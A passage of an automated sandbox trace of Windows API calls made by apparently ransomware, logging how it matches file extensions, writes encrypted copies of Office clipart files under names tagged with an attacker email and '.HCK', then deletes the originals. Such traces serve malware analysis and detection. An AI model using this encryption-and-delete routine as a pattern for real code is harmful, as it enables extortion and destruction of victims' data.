lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.627] lstrlenW (lpString=".ppt") returned 4 [0233.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.627] lstrlenW (lpString=".zip") returned 4 [0233.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.627] lstrlenW (lpString=".rar") returned 4 [0233.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString=".bz2") returned 4 [0233.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString=".7z") returned 3 [0233.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.627] lstrlenW (lpString=".dbf") returned 4 [0233.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.627] lstrlenW (lpString=".1cd") returned 4 [0233.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0233.627] lstrlenW (lpString=".jpg") returned 4 [0233.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.627] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.627] lstrlenW (lpString="J0107258.WMF") returned 12 [0233.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.628] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8552) returned 1 [0233.628] CloseHandle (hObject=0x454) returned 1 [0233.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220 [0233.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.629] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.629] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0233.629] GetLastError () returned 0x0 [0233.629] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2168, lpOverlapped=0x0) returned 1 [0233.871] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2170, lpOverlapped=0x0) returned 1 [0233.872] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.872] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.872] SetEndOfFile (hFile=0x4ac) returned 1 [0234.023] CloseHandle (hObject=0x4ac) returned 1 [0234.023] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.023] SetEndOfFile (hFile=0x454) returned 1 [0234.025] CloseHandle (hObject=0x454) returned 1 [0234.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0234.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.026] lstrlenW (lpString=".doc") returned 4 [0234.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.026] lstrlenW (lpString=".docx") returned 5 [0234.026] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.026] lstrlenW (lpString=".pdf") returned 4 [0234.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.026] lstrlenW (lpString=".xls") returned 4 [0234.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.026] lstrlenW (lpString=".xlsx") returned 5 [0234.026] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.026] lstrlenW (lpString=".ppt") returned 4 [0234.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.026] lstrlenW (lpString=".zip") returned 4 [0234.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.026] lstrlenW (lpString=".rar") returned 4 [0234.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.026] lstrlenW (lpString=".bz2") returned 4 [0234.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.026] lstrlenW (lpString=".7z") returned 3 [0234.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.026] lstrlenW (lpString=".dbf") returned 4 [0234.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.026] lstrlenW (lpString=".1cd") returned 4 [0234.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.026] lstrlenW (lpString=".jpg") returned 4 [0234.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.026] lstrlenW (lpString=".doc") returned 4 [0234.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.026] lstrlenW (lpString=".docx") returned 5 [0234.026] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.026] lstrlenW (lpString=".pdf") returned 4 [0234.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.027] lstrlenW (lpString=".xls") returned 4 [0234.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.027] lstrlenW (lpString=".xlsx") returned 5 [0234.027] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.027] lstrlenW (lpString=".ppt") returned 4 [0234.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.027] lstrlenW (lpString=".zip") returned 4 [0234.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.027] lstrlenW (lpString=".rar") returned 4 [0234.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.027] lstrlenW (lpString=".bz2") returned 4 [0234.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.027] lstrlenW (lpString=".7z") returned 3 [0234.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.027] lstrlenW (lpString=".dbf") returned 4 [0234.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.027] lstrlenW (lpString=".1cd") returned 4 [0234.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0234.027] lstrlenW (lpString=".jpg") returned 4 [0234.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.027] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.027] lstrlenW (lpString="J0107342.WMF") returned 12 [0234.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0234.028] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4244) returned 1 [0234.028] CloseHandle (hObject=0x454) returned 1 [0234.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220 [0234.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0234.028] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.028] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0234.029] GetLastError () returned 0x0 [0234.029] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1094, lpOverlapped=0x0) returned 1 [0234.030] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0234.031] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.031] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.031] SetEndOfFile (hFile=0x4ac) returned 1 [0234.031] CloseHandle (hObject=0x4ac) returned 1 [0234.031] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.031] SetEndOfFile (hFile=0x454) returned 1 [0234.033] CloseHandle (hObject=0x454) returned 1 [0234.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0234.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.034] lstrlenW (lpString=".doc") returned 4 [0234.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.034] lstrlenW (lpString=".docx") returned 5 [0234.034] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0234.034] lstrlenW (lpString=".pdf") returned 4 [0234.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.034] lstrlenW (lpString=".xls") returned 4 [0234.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.034] lstrlenW (lpString=".xlsx") returned 5 [0234.034] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0234.034] lstrlenW (lpString=".ppt") returned 4 [0234.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString=".zip") returned 4 [0234.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.035] lstrlenW (lpString=".rar") returned 4 [0234.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString=".bz2") returned 4 [0234.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString=".7z") returned 3 [0234.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString=".dbf") returned 4 [0234.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString=".1cd") returned 4 [0234.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString=".jpg") returned 4 [0234.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString=".doc") returned 4 [0234.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString=".docx") returned 5 [0234.035] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0234.035] lstrlenW (lpString=".pdf") returned 4 [0234.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString=".xls") returned 4 [0234.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.035] lstrlenW (lpString=".xlsx") returned 5 [0234.035] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0234.035] lstrlenW (lpString=".ppt") returned 4 [0234.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString=".zip") returned 4 [0234.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.035] lstrlenW (lpString=".rar") returned 4 [0234.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString=".bz2") returned 4 [0234.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString=".7z") returned 3 [0234.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString=".dbf") returned 4 [0234.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString=".1cd") returned 4 [0234.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0234.035] lstrlenW (lpString=".jpg") returned 4 [0234.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.036] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.036] lstrlenW (lpString="J0107344.WMF") returned 12 [0234.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0234.036] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5076) returned 1 [0234.036] CloseHandle (hObject=0x454) returned 1 [0234.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220 [0234.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0234.037] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.037] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0234.037] GetLastError () returned 0x0 [0234.037] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x13d4, lpOverlapped=0x0) returned 1 [0234.039] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x13e0, lpOverlapped=0x0) returned 1 [0234.039] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.039] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.039] SetEndOfFile (hFile=0x4ac) returned 1 [0234.040] CloseHandle (hObject=0x4ac) returned 1 [0234.040] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.040] SetEndOfFile (hFile=0x454) returned 1 [0234.042] CloseHandle (hObject=0x454) returned 1 [0234.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0234.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.045] lstrlenW (lpString=".doc") returned 4 [0234.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString=".docx") returned 5 [0234.045] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.045] lstrlenW (lpString=".pdf") returned 4 [0234.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString=".xls") returned 4 [0234.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.045] lstrlenW (lpString=".xlsx") returned 5 [0234.045] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.045] lstrlenW (lpString=".ppt") returned 4 [0234.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.045] lstrlenW (lpString=".zip") returned 4 [0234.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.045] lstrlenW (lpString=".rar") returned 4 [0234.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString=".bz2") returned 4 [0234.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString=".7z") returned 3 [0234.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.045] lstrlenW (lpString=".dbf") returned 4 [0234.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.045] lstrlenW (lpString=".1cd") returned 4 [0234.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.045] lstrlenW (lpString=".jpg") returned 4 [0234.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.045] lstrlenW (lpString=".doc") returned 4 [0234.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString=".docx") returned 5 [0234.045] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.045] lstrlenW (lpString=".pdf") returned 4 [0234.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.045] lstrlenW (lpString=".xls") returned 4 [0234.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.045] lstrlenW (lpString=".xlsx") returned 5 [0234.045] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.045] lstrlenW (lpString=".ppt") returned 4 [0234.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.046] lstrlenW (lpString=".zip") returned 4 [0234.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.046] lstrlenW (lpString=".rar") returned 4 [0234.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.046] lstrlenW (lpString=".bz2") returned 4 [0234.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") 